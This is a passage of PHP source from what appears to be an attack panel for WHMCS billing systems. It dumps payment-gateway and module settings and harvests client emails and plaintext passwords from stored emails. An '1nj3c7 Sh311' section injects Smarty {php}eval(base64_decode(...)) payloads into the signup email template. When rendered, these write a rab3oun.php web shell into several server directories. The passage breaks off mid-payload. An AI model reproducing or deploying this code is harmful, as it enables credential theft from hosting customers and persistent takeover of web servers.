  1023. }echo("<center><h1>Custom Fields</h1><br></center><form action=\"?p=112\" name=\"formw\" method=\"post\"><table width='75%'  border='1'>");
  1024. $result=mysql_query("SELECT * FROM `tblcustomfields` order by relid ");
  1025. $fieldnum=@mysql_num_fields($result);
  1026. echo("
  1027. <tr><th></th>");
  1028. for($i=0;
  1029. $i<$fieldnum;
  1030. $i++){$name=@mysql_field_name($result,$i);
  1031. echo("<th>$name</th>");
  1032. }echo("</tr>");
  1033. $last="";
  1034. $k=1;
  1035. while($v=@mysql_fetch_array($result,1)){if($v["relid"]<>$last){echo"<TR><TD COLSPAN=14>&nbsp;
  1036. </td></TR>";
  1037. $k++;
  1038. }if($k%2==0){$bg="class=\"bg\"";
  1039. }else{$bg="";
  1040. }$last=$v["relid"];
  1041. $id=$v["id"];
  1042. $td="
  1043. <tr $bg><td>
  1044. <input type=\"checkbox\" name=\"id[]\" value=\"$id\"  />
  1045. </td><td>";
  1046. $td=$td.implode("</td><td >",$v);
  1047. $td=$td."</td></tr>
  1048. ";
  1049. echo($td);
  1050. }echo("</table><br><input type='hidden' name='action' value='1'/><input type='submit'/></form>");
  1051. break;
  1052. case 111:echo("<center><h1>Addon Modules</h1>");
  1053. table("SELECT * FROM `tbladdonmodules` order by module",array("module","setting","value"));
  1054. echo("</center>");
  1055. break;
  1056. case 109:echo("<center><h1>Payment Gateways</h1><br>");
  1057. table("SELECT * FROM `tblpaymentgateways`",array("gateway","setting","value","order"));
  1058. echo("</center>");
  1059. break;
  1060. case 105:echo"<center><h1>Clients Password</h1>";
  1061. $query0=mysql_query("SELECT * FROM tblemailtemplates where name='Client Signup Email' or name='Password Reset Confirmation'");
  1062. while($v0=mysql_fetch_array($query0)){$t=$v0["subject"];
  1063. $t=trim(str_replace("{\$company_name}","",$t));
  1064. $c=$v0["message"];
  1065. $c=explode("
  1066. ",$c);
  1067. $r="";
  1068. for($i=0;
  1069. $i<count($c);
  1070. $i++){if(strpos($c[$i],"{\$client_password}")>0){$r.=$c[$i];
  1071. }elseif(strpos($c[$i],"{\$client_email}")>0){$r.=$c[$i];
  1072. }}$r=preg_quote($r);
  1073. $r=str_replace("\{\\\$client_email\\}","(.*)",$r);
  1074. $r=str_replace("\{\\\$client_password\\}","(.*)",$r);
  1075. $r=str_replace("\{\\$whmcs_link\}","(.*)",$r);
  1076. $r=str_replace("\{\\\$signature\}","(.*)",$r);
  1077. $r=str_replace("\{\\\$client_name\}","(.*)",$r);
  1078. $r=str_replace("
  1079. ","",$r);
  1080. $r=str_replace("
  1081. ","",$r);
  1082. $query=mysql_query("SELECT message,userid FROM tblemails where subject like '%".$t."%'");
  1083. while($v=mysql_fetch_array($query)){$mail=$v["message"];
  1084. $mail=str_replace("
  1085. ","",$mail);
  1086. $mail=str_replace("
  1087. ","",$mail);
  1088. $reg="|(.*)$r(.*)|isU";
  1089. $a=array();
  1090. preg_match_all($reg,($mail),$a);
  1091. for($i=1;
  1092. $i<count($a);
  1093. $i++){if(eregi("^[_\.0-9a-z-]+@([0-9a-z-]+\.)+[a-z]{2,10}\$",$a[$i][0])){$list[$v["userid"]]["mail"][]=$a[$i][0];
  1094. $list[$v["userid"]]["pass"][]=$a[$i+1][0];
  1095. }}}}echo("<h3  class=\"tit\">Total Records ".(count($list)-1)."</h3>");
  1096. echo"<table border='1'>";
  1097. foreach($list as$x=>$y){echo"<tr><td><a href='?p=12&id=$x'>$x</a></td><td>".implode("<br>",$y["mail"])."</td><td>".implode("<br>",$y["pass"])."</td></tr>";
  1098. }echo"</table>";
  1099. break;
  1100. case 108:echo"<center><h1>1nj3c7 Sh311</h1>";
  1101. if($_POST["action"]=="1"){$tryChaning=mysql_query("Update tblemailtemplates set message='".mysql_real_escape_string(stripslashes($_POST["c"]))."' where name='Client Signup Email'")or die("Erreur SQL !<br>".mysql_error());
  1102. if($tryChaning){echo"<p class=\"msg done\">Updated successfully </p>";
  1103. }else{echo("<h3  class=\"tit\"><br>Error</h3>");
  1104. }}$query0=mysql_query("SELECT message from  tblemailtemplates where name='Client Signup Email'");
  1105. $v0=mysql_fetch_array($query0);
  1106. echo"<br><form method=\"POST\" action=\"?p=108\" ><textarea name=\"c\" cols='50' rows='10' >".$v0["message"]."</textarea><br><br><input type=\"Submit\" name=\"Submit\" value=\"Submit\"><input type=\"hidden\" name=\"action\" value=\"1\"></form>";
  1107. echo"</center><p class='msg warning'>Add one of this code<u> in the end of code</u> And register you will get your file</p><br><center>";
  1108. echo"<fieldset><legend>rab3oun.php</legend><textarea cols='50' rows='10' >{php}eval(base64_decode('JGMwZGUgID0gYmFzZTY0X2RlY29kZSgnUjBsR09EbGhVRHM4Y0NCaGJHbG5iajBpWTJWdWRHVnlJajQ4UHcwS1pYSnliM0pmY21Wd2IzSjBhVzVuS0RBcE93MEtKSE5qY21sd2RHNWhiV1VnUFNBa1gxTkZVbFpGVWxzblUwTlNTVkJVWDA1QlRVVW5YVHNOQ2lSbWFXeGxibUZ0WlNBOUlDUmZVRTlUVkZzaVptbHNaVzVoYldVaVhUc05DbWxtS0NSZlVFOVRWRnNpYzNWaWJXbDBJbDBnUFQwZ0lrOXdaVzRpS1EwS2V3MEthV1lvWm1sc1pWOWxlR2x6ZEhNb0pHWnBiR1Z1WVcxbEtTa05DbnNOQ2lSbWFXeGxZMjl1ZEdWdWRITWdQU0JvZEcxc1pXNTBhWFJwWlhNb1ptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNb0pHWnBiR1Z1WVcxbEtTazdEUXBwWmlnaEpHWnBiR1ZqYjI1MFpXNTBjeWtOQ2lSemRHRjBkWE1nUFNBaVBHWnZiblFnWm1GalpUMG5WbVZ5WkdGdVlTY2djM1I1YkdVOUoyWnZiblF0YzJsNlpUb2dPSEIwSno1RmNuSnZjaUJ2Y2lCT2J5QmpiMjUwWlc1MGN5QnBiaUJtYVd4bFBDOW1iMjUwUGlJN0RRcDlEUXBsYkhObERRb2tjM1JoZEhWeklEMGdJanhtYjI1MElHWmhZMlU5SjFabGNtUmhibUVuSUhOMGVXeGxQU2RtYjI1MExYTnBlbVU2SURod2RDYytSbWxzWlNCa2IyVnpJRzV2ZENCbGVHbHpkQ0U4TDJadmJuUStJanNOQ24wSkNRMEtaV3h6WlNCcFppZ2tYMUJQVTFSYkluTjFZbTFwZENKZElEMDlJQ0pFWld4bGRHVWlLUTBLZXcwS2FXWW9abWxzWlY5bGVHbHpkSE1vSkdacGJHVnVZVzFsS1NrTkNuc05DbWxtS0hWdWJHbHVheWdrWm1sc1pXNWhiV1VwS1FrTkNpUnpkR0YwZFhNZ1BTQWlQR1p2Ym5RZ1ptRmpaVDBuVm1WeVpHRnVZU2NnYzNSNWJHVTlKMlp2Ym5RdGMybDZaVG9nT0hCMEp6NUdhV3hsSUhOMVkyTmxjM05tZFd4c2VTQmtaV3hsZEdWa0lUd3ZabTl1ZEQ0aU93MEtaV3h6WlEwS0pITjBZWFIxY3lBOUlDSThabTl1ZENCbVlXTmxQU2RXWlhKa1lXNWhKeUJ6ZEhsc1pUMG5abTl1ZEMxemFYcGxPaUE0Y0hRblBrTnZkV3hrSUc1dmRDQmtaV3hsZEdVZ1ptbHNaU0U4TDJadmJuUStJanNOQ24wTkNtVnNjMlVOQ2lSemRHRjBkWE1nUFNBaVBHWnZiblFnWm1GalpUMG5WbVZ5WkdGdVlTY2djM1I1YkdVOUoyWnZiblF0YzJsNlpUb2dPSEIwSno1R2FXeGxJR1J2WlhNZ2JtOTBJR1Y0YVhOMElUd3ZabTl1ZEQ0aU93MEtmUTBLWld4elpTQnBaaWdrWDFCUFUxUmJJbk4xWW0xcGRDSmRJRDA5SUNKVFlYWmxJaWtOQ25zTkNpUm1hV3hsWTI5dWRHVnVkSE1nUFNCemRISnBjSE5zWVhOb1pYTW9hSFJ0YkY5bGJuUnBkSGxmWkdWamIyUmxLQ1JmVUU5VFZGc2lZMjl1ZEdWdWRITWlYU2twT3cwS2FXWW9abWxzWlY5bGVHbHpkSE1vSkdacGJHVnVZVzFsS1NrTkNuVnViR2x1YXlna1ptbHNaVzVoYldVcE93MEtKR2hoYm1Sc1pTQTlJR1p2Y0dWdUtDUm1hV3hsYm1GdFpTd2dJbmNpS1RzTkNtbG1LQ0VrYUdGdVpHeGxLUTBLSkhOMFlYUjFjeUE5SUNJOFptOXVkQ0JtWVdObFBTZFdaWEprWVc1aEp5QnpkSGxzWlQwblptOXVkQzF6YVhwbE9pQTRjSFFuUGtOdmRXeGtJRzV2ZENCdmNHVnVJR1pwYkdVZ1ptOXlJSGR5YVhSbElHRmpZMlZ6Y3lFZ1BDOW1iMjUwUGlJN0RRcGxiSE5sRFFwN0RRcHBaaWdoWm5keWFYUmxLQ1JvWVc1a2JHVXNJQ1JtYVd4bFkyOXVkR1Z1ZEhNcEtRMEtKSE4wWVhSMWN5QTlJQ1J6ZEdGMGRYTXVJanhtYjI1MElHWmhZMlU5SjFabGNtUmhibUVuSUhOMGVXeGxQU2RtYjI1MExYTnBlbVU2SURod2RDYytRMjkxYkdRZ2JtOTBJSGR5YVhSbElIUnZJR1pwYkdVaElDaE5ZWGxpWlNCNWIzVWdaR2xrYmlkMElHVnVkR1Z5SUdGdWVTQjBaWGgwUHlrOEwyWnZiblErSWpzTkNtWmpiRzl6WlNna2FHRnVaR3hsS1RzTkNuME5DaVJtYVd4bFkyOXVkR1Z1ZEhNZ1BTQm9kRzFzWlc1MGFYUnBaWE1vSkdacGJHVmpiMjUwWlc1MGN5azdEUXA5RFFwbGJITmxEUXA3RFFva2MzUmhkSFZ6SUQwZ0lqeG1iMjUwSUdaaFkyVTlKMVpsY21SaGJtRW5JSE4wZVd4bFBTZG1iMjUwTFhOcGVtVTZJRGh3ZENjK1RtOGdabWxzWlNCc2IyRmtaV1FoUEM5bWIyNTBQaUk3RFFwOURRby9QZzBLUEhSaFlteGxJR0p2Y21SbGNqMGlNQ0lnWVd4cFoyNDlJbU5sYm5SbGNpSStQSFJ5UGp4MFpENDhkR0ZpYkdVZ2QybGtkR2c5SWpFd01DVWlJR0p2Y21SbGNqMGlNQ0krUEhSeVBqeDBaRDROQ2p4bWIzSnRJRzFsZEdodlpEMGljRzl6ZENJZ1lXTjBhVzl1UFNJOFAwVmphRzhnSkhOamNtbHdkRzVoYldVN1B6NGlQZzBLUEdsdWNIVjBJRzVoYldVOUltWnBiR1Z1WVcxbElpQjBlWEJsUFNKMFpYaDBJaUIyWVd4MVpUMGlQRDlGWTJodklDUm1hV3hsYm1GdFpUcy9QaUlnYzJsNlpUMGlOeklpUGcwS1BHbHVjSFYwSUhSNWNHVTlJbk4xWW0xcGRDSWdibUZ0WlQwaWMzVmliV2wwSWlCMllXeDFaVDBpVDNCbGJpSStEUW84YVc1d2RYUWdkSGx3WlQwaWMzVmliV2wwSWlCdVlXMWxQU0p6ZFdKdGFYUWlJSFpoYkhWbFBTSkVaV3hsZEdVaVBqd3ZkR1ErUEM5MGNqNDhMM1JoWW14bFBnMEtQR1p2Ym5RZ1ptRmpaVDBpVm1WeVpHRnVZU0lnYzNSNWJHVTlJbVp2Ym5RdGMybDZaVG9nTVRGd2RDSStEUW84ZEdWNGRHRnlaV0VnYm1GdFpUMGlZMjl1ZEdWdWRITWlJR052YkhNOUlqY3dJaUJ5YjNkelBTSXlOU0krRFFvOFAwVmphRzhnSkdacGJHVmpiMjUwWlc1MGN6cy9Qand2ZEdWNGRHRnlaV0UrUEM5bWIyNTBQanhpY2o0TkNqeHBibkIxZENCMGVYQmxQU0p6ZFdKdGFYUWlJRzVoYldVOUluTjFZbTFwZENJZ2RtRnNkV1U5SWxOaGRtVWlQZzBLUEdsdWNIVjBJSFI1Y0dVOUluSmxjMlYwSWlCMllXeDFaVDBpVW1WelpYUWlQZzBLUEM5bWIzSnRQZz09Jyk7DQoNCiRmMHAzbiA9IGZvcGVuICgncmFiM291bi5waHAnLCd3Jyk7DQoNCiR3cml0ICA9IGZ3cml0ZSgkZjBwM24gLCAkYzBkZSk7'));
  1109. {/php}</textarea></fieldset>";
  1110. echo"<fieldset><legend>downloads/rab3oun.php</legend><textarea cols='50' rows='10' >{php}eval(base64_decode('JGMwZGUgID0gYmFzZTY0X2RlY29kZSgnUjBsR09EbGhVRHM4Y0NCaGJHbG5iajBpWTJWdWRHVnlJajQ4UHcwS1pYSnliM0pmY21Wd2IzSjBhVzVuS0RBcE93MEtKSE5qY21sd2RHNWhiV1VnUFNBa1gxTkZVbFpGVWxzblUwTlNTVkJVWDA1QlRVVW5YVHNOQ2lSbWFXeGxibUZ0WlNBOUlDUmZVRTlUVkZzaVptbHNaVzVoYldVaVhUc05DbWxtS0NSZlVFOVRWRnNpYzNWaWJXbDBJbDBnUFQwZ0lrOXdaVzRpS1EwS2V3MEthV1lvWm1sc1pWOWxlR2x6ZEhNb0pHWnBiR1Z1WVcxbEtTa05DbnNOQ2lSbWFXeGxZMjl1ZEdWdWRITWdQU0JvZEcxc1pXNTBhWFJwWlhNb1ptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNb0pHWnBiR1Z1WVcxbEtTazdEUXBwWmlnaEpHWnBiR1ZqYjI1MFpXNTBjeWtOQ2lSemRHRjBkWE1nUFNBaVBHWnZiblFnWm1GalpUMG5WbVZ5WkdGdVlTY2djM1I1YkdVOUoyWnZiblF0YzJsNlpUb2dPSEIwSno1RmNuSnZjaUJ2Y2lCT2J5QmpiMjUwWlc1MGN5QnBiaUJtYVd4bFBDOW1iMjUwUGlJN0RRcDlEUXBsYkhObERRb2tjM1JoZEhWeklEMGdJanhtYjI1MElHWmhZMlU5SjFabGNtUmhibUVuSUhOMGVXeGxQU2RtYjI1MExYTnBlbVU2SURod2RDYytSbWxzWlNCa2IyVnpJRzV2ZENCbGVHbHpkQ0U4TDJadmJuUStJanNOQ24wSkNRMEtaV3h6WlNCcFppZ2tYMUJQVTFSYkluTjFZbTFwZENKZElEMDlJQ0pFWld4bGRHVWlLUTBLZXcwS2FXWW9abWxzWlY5bGVHbHpkSE1vSkdacGJHVnVZVzFsS1NrTkNuc05DbWxtS0hWdWJHbHVheWdrWm1sc1pXNWhiV1VwS1FrTkNpUnpkR0YwZFhNZ1BTQWlQR1p2Ym5RZ1ptRmpaVDBuVm1WeVpHRnVZU2NnYzNSNWJHVTlKMlp2Ym5RdGMybDZaVG9nT0hCMEp6NUdhV3hsSUhOMVkyTmxjM05tZFd4c2VTQmtaV3hsZEdWa0lUd3ZabTl1ZEQ0aU93MEtaV3h6WlEwS0pITjBZWFIxY3lBOUlDSThabTl1ZENCbVlXTmxQU2RXWlhKa1lXNWhKeUJ6ZEhsc1pUMG5abTl1ZEMxemFYcGxPaUE0Y0hRblBrTnZkV3hrSUc1dmRDQmtaV3hsZEdVZ1ptbHNaU0U4TDJadmJuUStJanNOQ24wTkNtVnNjMlVOQ2lSemRHRjBkWE1nUFNBaVBHWnZiblFnWm1GalpUMG5WbVZ5WkdGdVlTY2djM1I1YkdVOUoyWnZiblF0YzJsNlpUb2dPSEIwSno1R2FXeGxJR1J2WlhNZ2JtOTBJR1Y0YVhOMElUd3ZabTl1ZEQ0aU93MEtmUTBLWld4elpTQnBaaWdrWDFCUFUxUmJJbk4xWW0xcGRDSmRJRDA5SUNKVFlYWmxJaWtOQ25zTkNpUm1hV3hsWTI5dWRHVnVkSE1nUFNCemRISnBjSE5zWVhOb1pYTW9hSFJ0YkY5bGJuUnBkSGxmWkdWamIyUmxLQ1JmVUU5VFZGc2lZMjl1ZEdWdWRITWlYU2twT3cwS2FXWW9abWxzWlY5bGVHbHpkSE1vSkdacGJHVnVZVzFsS1NrTkNuVnViR2x1YXlna1ptbHNaVzVoYldVcE93MEtKR2hoYm1Sc1pTQTlJR1p2Y0dWdUtDUm1hV3hsYm1GdFpTd2dJbmNpS1RzTkNtbG1LQ0VrYUdGdVpHeGxLUTBLSkhOMFlYUjFjeUE5SUNJOFptOXVkQ0JtWVdObFBTZFdaWEprWVc1aEp5QnpkSGxzWlQwblptOXVkQzF6YVhwbE9pQTRjSFFuUGtOdmRXeGtJRzV2ZENCdmNHVnVJR1pwYkdVZ1ptOXlJSGR5YVhSbElHRmpZMlZ6Y3lFZ1BDOW1iMjUwUGlJN0RRcGxiSE5sRFFwN0RRcHBaaWdoWm5keWFYUmxLQ1JvWVc1a2JHVXNJQ1JtYVd4bFkyOXVkR1Z1ZEhNcEtRMEtKSE4wWVhSMWN5QTlJQ1J6ZEdGMGRYTXVJanhtYjI1MElHWmhZMlU5SjFabGNtUmhibUVuSUhOMGVXeGxQU2RtYjI1MExYTnBlbVU2SURod2RDYytRMjkxYkdRZ2JtOTBJSGR5YVhSbElIUnZJR1pwYkdVaElDaE5ZWGxpWlNCNWIzVWdaR2xrYmlkMElHVnVkR1Z5SUdGdWVTQjBaWGgwUHlrOEwyWnZiblErSWpzTkNtWmpiRzl6WlNna2FHRnVaR3hsS1RzTkNuME5DaVJtYVd4bFkyOXVkR1Z1ZEhNZ1BTQm9kRzFzWlc1MGFYUnBaWE1vSkdacGJHVmpiMjUwWlc1MGN5azdEUXA5RFFwbGJITmxEUXA3RFFva2MzUmhkSFZ6SUQwZ0lqeG1iMjUwSUdaaFkyVTlKMVpsY21SaGJtRW5JSE4wZVd4bFBTZG1iMjUwTFhOcGVtVTZJRGh3ZENjK1RtOGdabWxzWlNCc2IyRmtaV1FoUEM5bWIyNTBQaUk3RFFwOURRby9QZzBLUEhSaFlteGxJR0p2Y21SbGNqMGlNQ0lnWVd4cFoyNDlJbU5sYm5SbGNpSStQSFJ5UGp4MFpENDhkR0ZpYkdVZ2QybGtkR2c5SWpFd01DVWlJR0p2Y21SbGNqMGlNQ0krUEhSeVBqeDBaRDROQ2p4bWIzSnRJRzFsZEdodlpEMGljRzl6ZENJZ1lXTjBhVzl1UFNJOFAwVmphRzhnSkhOamNtbHdkRzVoYldVN1B6NGlQZzBLUEdsdWNIVjBJRzVoYldVOUltWnBiR1Z1WVcxbElpQjBlWEJsUFNKMFpYaDBJaUIyWVd4MVpUMGlQRDlGWTJodklDUm1hV3hsYm1GdFpUcy9QaUlnYzJsNlpUMGlOeklpUGcwS1BHbHVjSFYwSUhSNWNHVTlJbk4xWW0xcGRDSWdibUZ0WlQwaWMzVmliV2wwSWlCMllXeDFaVDBpVDNCbGJpSStEUW84YVc1d2RYUWdkSGx3WlQwaWMzVmliV2wwSWlCdVlXMWxQU0p6ZFdKdGFYUWlJSFpoYkhWbFBTSkVaV3hsZEdVaVBqd3ZkR1ErUEM5MGNqNDhMM1JoWW14bFBnMEtQR1p2Ym5RZ1ptRmpaVDBpVm1WeVpHRnVZU0lnYzNSNWJHVTlJbVp2Ym5RdGMybDZaVG9nTVRGd2RDSStEUW84ZEdWNGRHRnlaV0VnYm1GdFpUMGlZMjl1ZEdWdWRITWlJR052YkhNOUlqY3dJaUJ5YjNkelBTSXlOU0krRFFvOFAwVmphRzhnSkdacGJHVmpiMjUwWlc1MGN6cy9Qand2ZEdWNGRHRnlaV0UrUEM5bWIyNTBQanhpY2o0TkNqeHBibkIxZENCMGVYQmxQU0p6ZFdKdGFYUWlJRzVoYldVOUluTjFZbTFwZENJZ2RtRnNkV1U5SWxOaGRtVWlQZzBLUEdsdWNIVjBJSFI1Y0dVOUluSmxjMlYwSWlCMllXeDFaVDBpVW1WelpYUWlQZzBLUEM5bWIzSnRQZz09Jyk7DQoNCiRmMHAzbiA9IGZvcGVuICgnZG93bmxvYWRzL3JhYjNvdW4ucGhwJywndycpOw0KDQokd3JpdCAgPSBmd3JpdGUoJGYwcDNuICwgJGMwZGUpOw=='));
  1111. {/php}</textarea></fieldset>";
  1112. echo"<fieldset><legend>attachments/rab3oun.php</legend><textarea cols='50' rows='10' >{php}eval(base64_decode('JGMwZGUgID0gYmFzZTY0X2RlY29kZSgnUjBsR09EbGhVRHM4Y0NCaGJHbG5iajBpWTJWdWRHVnlJajQ4UHcwS1pYSnliM0pmY21Wd2IzSjBhVzVuS0RBcE93MEtKSE5qY21sd2RHNWhiV1VnUFNBa1gxTkZVbFpGVWxzblUwTlNTVkJVWDA1QlRVVW5YVHNOQ2lSbWFXeGxibUZ0WlNBOUlDUmZVRTlUVkZzaVptbHNaVzVoYldVaVhUc05DbWxtS0NSZlVFOVRWRnNpYzNWaWJXbDBJbDBnUFQwZ0lrOXdaVzRpS1EwS2V3MEthV1lvWm1sc1pWOWxlR2x6ZEhNb0pHWnBiR1Z1WVcxbEtTa05DbnNOQ2lSbWFXeGxZMjl1ZEdWdWRITWdQU0JvZEcxc1pXNTBhWFJwWlhNb1ptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNb0pHWnBiR1Z1WVcxbEtTazdEUXBwWmlnaEpHWnBiR1ZqYjI1MFpXNTBjeWtOQ2lSemRHRjBkWE1nUFNBaVBHWnZiblFnWm1GalpUMG5WbVZ5WkdGdVlTY2djM1I1YkdVOUoyWnZiblF0YzJsNlpUb2dPSEIwSno1RmNuSnZjaUJ2Y2lCT2J5QmpiMjUwWlc1MGN5QnBiaUJtYVd4bFBDOW1iMjUwUGlJN0RRcDlEUXBsYkhObERRb2tjM1JoZEhWeklEMGdJanhtYjI1MElHWmhZMlU5SjFabGNtUmhibUVuSUhOMGVXeGxQU2RtYjI1MExYTnBlbVU2SURod2RDYytSbWxzWlNCa2IyVnpJRzV2ZENCbGVHbHpkQ0U4TDJadmJuUStJanNOQ24wSkNRMEtaV3h6WlNCcFppZ2tYMUJQVTFSYkluTjFZbTFwZENKZElEMDlJQ0pFWld4bGRHVWlLUTBLZXcwS2FXWW9abWxzWlY5bGVHbHpkSE1vSkdacGJHVnVZVzFsS1NrTkNuc05DbWxtS0hWdWJHbHVheWdrWm1sc1pXNWhiV1VwS1FrTkNpUnpkR0YwZFhNZ1BTQWlQR1p2Ym5RZ1ptRmpaVDBuVm1WeVpHRnVZU2NnYzNSNWJHVTlKMlp2Ym5RdGMybDZaVG9nT0hCMEp6NUdhV3hsSUhOMVkyTmxjM05tZFd4c2VTQmtaV3hsZEdWa0lUd3ZabTl1ZEQ0aU93MEtaV3h6WlEwS0pITjBZWFIxY3lBOUlDSThabTl1ZENCbVlXTmxQU2RXWlhKa1lXNWhKeUJ6ZEhsc1pUMG5abTl1ZEMxemFYcGxPaUE0Y0hRblBrTnZkV3hrSUc1dmRDQmtaV3hsZEdVZ1ptbHNaU0U4TDJadmJuUStJanNOQ24wTkNtVnNjMlVOQ2lSemRHRjBkWE1nUFNBaVBHWnZiblFnWm1GalpUMG5WbVZ5WkdGdVlTY2djM1I1YkdVOUoyWnZiblF0YzJsNlpUb2dPSEIwSno1R2FXeGxJR1J2WlhNZ2JtOTBJR1Y0YVhOMElUd3ZabTl1ZEQ0aU93MEtmUTBLWld4elpTQnBaaWdrWDFCUFUxUmJJbk4xWW0xcGRDSmRJRDA5SUNKVFlYWmxJaWtOQ25zTkNpUm1hV3hsWTI5dWRHVnVkSE1nUFNCemRISnBjSE5zWVhOb1pYTW9hSFJ0YkY5bGJuUnBkSGxmWkdWamIyUmxLQ1JmVUU5VFZGc2lZMjl1ZEdWdWRITWlYU2twT3cwS2FXWW9abWxzWlY5bGVHbHpkSE1vSkdacGJHVnVZVzFsS1NrTkNuVnViR2x1YXlna1ptbHNaVzVoYldVcE93MEtKR2hoYm1Sc1pTQTlJR1p2Y0dWdUtDUm1hV3hsYm1GdFpTd2dJbmNpS1RzTkNtbG1LQ0VrYUdGdVpHeGxLUTBLSkhOMFlYUjFjeUE5SUNJOFptOXVkQ0JtWVdObFBTZFdaWEprWVc1aEp5QnpkSGxzWlQwblptOXVkQzF6YVhwbE9pQTRjSFFuUGtOdmRXeGtJRzV2ZENCdmNHVnVJR1pwYkdVZ1ptOXlJSGR5YVhSbElHRmpZMlZ6Y3lFZ1BDOW1iMjUwUGlJN0RRcGxiSE5sRFFwN0RRcHBaaWdoWm5keWFYUmxLQ1JvWVc1a2JHVXNJQ1JtYVd4bFkyOXVkR1Z1ZEhNcEtRMEtKSE4wWVhSMWN5QTlJQ1J6ZEdGMGRYTXVJanhtYjI1MElHWmhZMlU5SjFabGNtUmhibUVuSUhOMGVXeGxQU2RtYjI1MExYTnBlbVU2SURod2RDYytRMjkxYkdRZ2JtOTBJSGR5YVhSbElIUnZJR1pwYkdVaElDaE5ZWGxpWlNCNWIzVWdaR2xrYmlkMElHVnVkR1Z5SUdGdWVTQjBaWGgwUHlrOEwyWnZiblErSWpzTkNtWmpiRzl6WlNna2FHRnVaR3hsS1RzTkNuME5DaVJtYVd4bFkyOXVkR1Z1ZEhNZ1BTQm9kRzFzWlc1MGFYUnBaWE1vSkdacGJHVmpiMjUwWlc1MGN5azdEUXA5RFFwbGJITmxEUXA3RFFva2MzUmhkSFZ6SUQwZ0lqeG1iMjUwSUdaaFkyVTlKMVpsY21SaGJtRW5JSE4wZVd4bFBTZG1iMjUwTFhOcGVtVTZJRGh3ZENjK1RtOGdabWxzWlNCc2IyRmtaV1FoUEM5bWIyNTBQaUk3RFFwOURRby9QZzBLUEhSaFlteGxJR0p2Y21SbGNqMGlNQ0lnWVd4cFoyNDlJbU5sYm5SbGNpSStQSFJ5UGp4MFpENDhkR0ZpYkdVZ2QybGtkR2c5SWpFd01DVWlJR0p2Y21SbGNqMGlNQ0krUEhSeVBqeDBaRDROQ2p4bWIzSnRJRzFsZEdodlpEMGljRzl6ZENJZ1lXTjBhVzl1UFNJOFAwVmphRzhnSkhOamNtbHdkRzVoYldVN1B6NGlQZzBLUEdsdWNIVjBJRzVoYldVOUltWnBiR1Z1WVcxbElpQjBlWEJsUFNKMFpYaDBJaUIyWVd4MVpUMGlQRDlGWTJodklDUm1hV3hsYm1GdFpUcy9QaUlnYzJsNlpUMGlOeklpUGcwS1BHbHVjSFYwSUhSNWNHVTlJbk4xWW0xcGRDSWdibUZ0WlQwaWMzVmliV2wwSWlCMllXeDFaVDBpVDNCbGJpSStEUW84YVc1d2RYUWdkSGx3WlQwaWMzVmliV2wwSWlCdVlXMWxQU0p6ZFdKdGFYUWlJSFpoYkhWbFBTSkVaV3hsZEdVaVBqd3ZkR1ErUEM5MGNqNDhMM1JoWW14bFBnMEtQR1p2Ym5RZ1ptRmpaVDBpVm1WeVpHRnVZU0lnYzNSNWJHVTlJbVp2Ym5RdGMybDZaVG9nTVRGd2RDSStEUW84ZEdWNGRHRnlaV0VnYm1GdFpUMGlZMjl1ZEdWdWRITWlJR052YkhNOUlqY3dJaUJ5YjNkelBTSXlOU0krRFFvOFAwVmphRzhnSkdacGJHVmpiMjUwWlc1MGN6cy9Qand2ZEdWNGRHRnlaV0UrUEM5bWIyNTBQanhpY2o0TkNqeHBibkIxZENCMGVYQmxQU0p6ZFdKdGFYUWlJRzVoYldVOUluTjFZbTFwZENJZ2RtRnNkV1U5SWxOaGRtVWlQZzBLUEdsdWNIVjBJSFI1Y0dVOUluSmxjMlYwSWlCMllXeDFaVDBpVW1WelpYUWlQZzBLUEM5bWIzSnRQZz09Jyk7DQoNCiRmMHAzbiA9IGZvcGVuICgnYXR0YWNobWVudHMvcmFiM291bi5waHAnLCd3Jyk7DQoNCiR3cml0ICA9IGZ3cml0ZSgkZjBwM24gLCAkYzBkZSk7'));
  1113. {/php}</textarea></fieldset>";
  1114. echo"<fieldset><legend>templates_c/rab3oun.php</legend><textarea cols='50' rows='10' >{php}eval(base64_decode('JGMwZGUgID0gYmFzZTY0X2RlY29kZSgnUjBsR09EbGhVRHM4Y0NCaGJHbG5iajBpWTJWdWRHVnlJajQ4UHcwS1pYSnliM0pmY21Wd2IzSjBhVzVuS0RBcE93MEtKSE5qY21sd2RHNWhiV1VnUFNBa1gxTkZVbFpGVWxzblUwTlNTVkJVWDA1QlRVVW5YVHNOQ2lSbWFXeGxibUZ0WlNBOUlDUmZVRTlUVkZzaVptbHNaVzVoYldVaVhUc05DbWxtS0NSZlVFOVRWRnNpYzNWaWJXbDBJbDBnUFQwZ0lrOXdaVzRpS1EwS2V3MEthV1lvWm1sc1pWOWxlR2x6ZEhNb0pHWnBiR1Z1WVcxbEtTa05DbnNOQ2lSbWFXeGxZMjl1ZEdWdWRITWdQU0JvZEcxc1pXNTBhWFJwWlhNb1ptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNb0pHWnBiR1Z1WVcxbEtTazdEUXBwWmlnaEpHWnBiR1ZqYjI1MFpXNTBjeWtOQ2lSemRHRjBkWE1nUFNBaVBHWnZiblFnWm1GalpUMG5WbVZ5WkdGdVlTY2djM1I1YkdVOUoyWnZiblF0YzJsNlpUb2dPSEIwSno1RmNuSnZjaUJ2Y2lCT2J5QmpiMjUwWlc1MGN5QnBiaUJtYVd4bFBDOW1iMjUwUGlJN0RRcDlEUXBsYkhObERRb2tjM1JoZEhWeklEMGdJanhtYjI1MElHWmhZMlU5SjFabGNtUmhibUVuSUhOMGVXeGxQU2RtYjI1MExYTnBlbVU2SURod2RDYytSbWxzWlNCa2IyVnpJRzV2ZENCbGVHbHpkQ0U4TDJadmJuUStJanNOQ24wSkNRMEtaV3h6WlNCcFppZ2tYMUJQVTFSYkluTjFZbTFwZENKZElEMDlJQ0pFWld4bGRHVWlLUTBLZXcwS2FXWW9abWxzWlY5bGVHbHpkSE1vSkdacGJHVnVZVzFsS1NrTkNuc05DbWxtS0hWdWJHbHVheWdrWm1sc1pXNWhiV1VwS1FrTkNpUnpkR0YwZFhNZ1BTQWlQR1p2Ym5RZ1ptRmpaVDBuVm1WeVpHRnVZU2NnYzNSNWJHVTlKMlp2Ym5RdGMybDZaVG9nT0hCMEp6NUdhV3hsSUhOMVkyTmxjM05tZFd4c2VTQmtaV3hsZEdWa0lUd3ZabTl1ZEQ0aU93MEtaV3h6WlEwS0pITjBZWFIxY3lBOUlDSThabTl1Z